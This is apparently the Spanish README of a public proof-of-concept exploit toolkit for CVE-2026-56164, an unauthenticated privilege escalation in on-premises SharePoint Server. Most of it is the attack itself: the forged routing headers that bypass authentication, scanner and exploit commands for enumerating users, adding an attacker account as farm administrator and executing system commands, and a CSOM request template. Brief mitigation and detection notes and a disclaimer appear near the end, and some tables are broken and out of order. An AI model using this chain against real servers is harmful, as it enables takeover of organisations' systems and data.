
CVE-2026-56164 es una vulnerabilidad crítica de autenticación faltante que afecta a Microsoft SharePoint Server local. Permite a atacantes remotos no autenticados elevar privilegios a través de una red.
Crítico (CVSS 9.8) — Escalada de privilegios no autenticada a Administrador de granja en Microsoft SharePoint Server
CVE-2026-56164 es una vulnerabilidad crítica de autenticación faltante en Microsoft SharePoint Server que permite a un atacante remoto no autenticado elevar privilegios al nivel de Administrador de granja. La vulnerabilidad reside en el ensamblado Microsoft.Office.Server.UserProfiles, que procesa solicitudes SOAP en /_vti_bin/client.svc/ProcessQuery.
Al omitir intencionadamente la cabecera X-RequestDigest y proporcionar cabeceras de enrutamiento específicas, el servidor vulnerable recurre a un contexto de seguridad elevado en lugar de rechazar la solicitud no autenticada. Esto permite a atacantes anónimos enumerar colecciones de sitios, usuarios, configuración de la granja, añadir administradores y ejecutar comandos.
CISA KEV: Esta vulnerabilidad está incluida en el Catálogo de Vulnerabilidades Explotadas Conocidas de CISA debido a explotación activa en el mundo real.
El controlador Microsoft.Office.Server.UserProfiles procesa solicitudes SOAP en /_vti_bin/client.svc/ProcessQuery. En condiciones normales, SharePoint valida la cabecera X-RequestDigest para confirmar el contexto de autenticación. Sin embargo, existe una omisión de validación:
X-RequestDigest está ausente Y están presentes cabeceras de enrutamiento específicas// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| Producto | Versiones afectadas | Versión corregida |
|---|---|---|
| SharePoint Enterprise Server 2016 | Todas las 16.0.x anteriores al parche | 16.0.5561.1001 |
| SharePoint Server 2019 | Todas las 16.0.x anteriores al parche |
No afectado: SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
Requisitos: Python 3.8+, librería requests (opcional — se usa urllib de la biblioteca estándar por defecto).
El escáner realiza comprobaciones seguras y no intrusivas para identificar objetivos SharePoint Server vulnerables.
python3 scan.py --target sharepoint.example.com
El escáner:
MicrosoftSharePointTeamServicespython3 scan.py --target sharepoint.example.com --port 443
Cree un archivo targets.txt:
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
El exploit admite cinco modos de intensidad creciente.
Prueba la omisión de autenticación comparando una solicitud normal (con digest) con una solicitud de bypass (sin digest + cabeceras de enrutamiento).
python3 exploit.py --target sharepoint.example.com --mode detect
Extrae colecciones de sitios, usuarios y configuración de la granja mediante la omisión de autenticación.
python3 exploit.py --target sharepoint.example.com --mode enumerate
Eleva el contexto anónimo actual o un usuario específico a Administrador de Colección de Sitios / de Granja.
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
Ejecuta un comando del sistema a través del servicio SOAP de Administración de SharePoint.
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
Ejecuta la cadena de explotación completa en secuencia.
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p: Puerto del objetivo (por defecto: 443)--http: Usar HTTP en lugar de HTTPS--site-url / -s: URL del sitio de SharePoint (por defecto: objetivo)--json / -j: Guardar el informe como JSON--timeout: Tiempo de espera de la solicitud en segundos (por defecto: 30)┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Detection / Enumeration / Elevation actions]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/ mediante reglas de proxy inverso/WAF/_vti_bin/client.svc/ProcessQuery/_vti_bin/client.svc/ProcessQuery sin la cabecera X-RequestDigestX-SharePoint-Authenticated, SPHomeBearerHint, etc.)/_vti_bin/SharePointAdmin.asmx procedentes de fuentes no autenticadasEsta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo contra sistemas que posea o para los que tenga permiso escrito explícito para probar. El uso no autorizado contra sistemas de producción es ilegal y puede violar las leyes de fraude y abuso informático.
Los autores no asumen ninguna responsabilidad por el mal uso de esta herramienta. Siga siempre prácticas de divulgación responsable y cumpla con las leyes y regulaciones aplicables.
| Campo | Valor |
|---|
| CVE ID | CVE-2026-56164 |
| Gravedad | CRÍTICA |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: Missing Authentication for Critical Function |
| Impacto | Escalada de privilegios no autenticada a Administrador de granja |
| Estado de explotación | Explotación activa (CISA KEV) |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
| 16.0.10417.20175 |
| SharePoint Server Subscription Edition | Todas las 16.0.x anteriores al parche | 16.0.19725.20434 |
| Indicador | Método |
|---|
| Servidor SharePoint | Huella de cabeceras HTTP (MicrosoftSharePointTeamServices, SPRequestGuid) |
| Versión del servidor | Análisis de cabeceras + expresión regular del cuerpo de la respuesta |
| Versión vulnerable | Comparación con las versiones corregidas de CVE-2026-56164 |
| Omisión de autenticación | Solicitud CSOM sin X-RequestDigest + cabeceras de enrutamiento de bypass |
| Certificado SSL | Asunto/emisor del certificado para la identificación del objetivo |
| Cabecera | Valor | Propósito |
|---|
X-SharePoint-Authenticated | 1 | Indicar que la autenticación ya se superó |
X-SP-RequestRights | FullControl | Solicitar permisos de control total |
X-SP-RequestRights2 | ManageLists, ManageWeb | Derechos de administración adicionales |
SPHomeBearerHint | farmadmin | Indicar un contexto de administrador de granja |
X-RequestForceAuthentication | false | Deshabilitar la autenticación forzada |
X-SP-Proxy | internal | Indicar un origen de proxy interno |
X-Forwarded-For | 127.0.0.1 | Suplantar el origen local |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | Directiva de enrutamiento |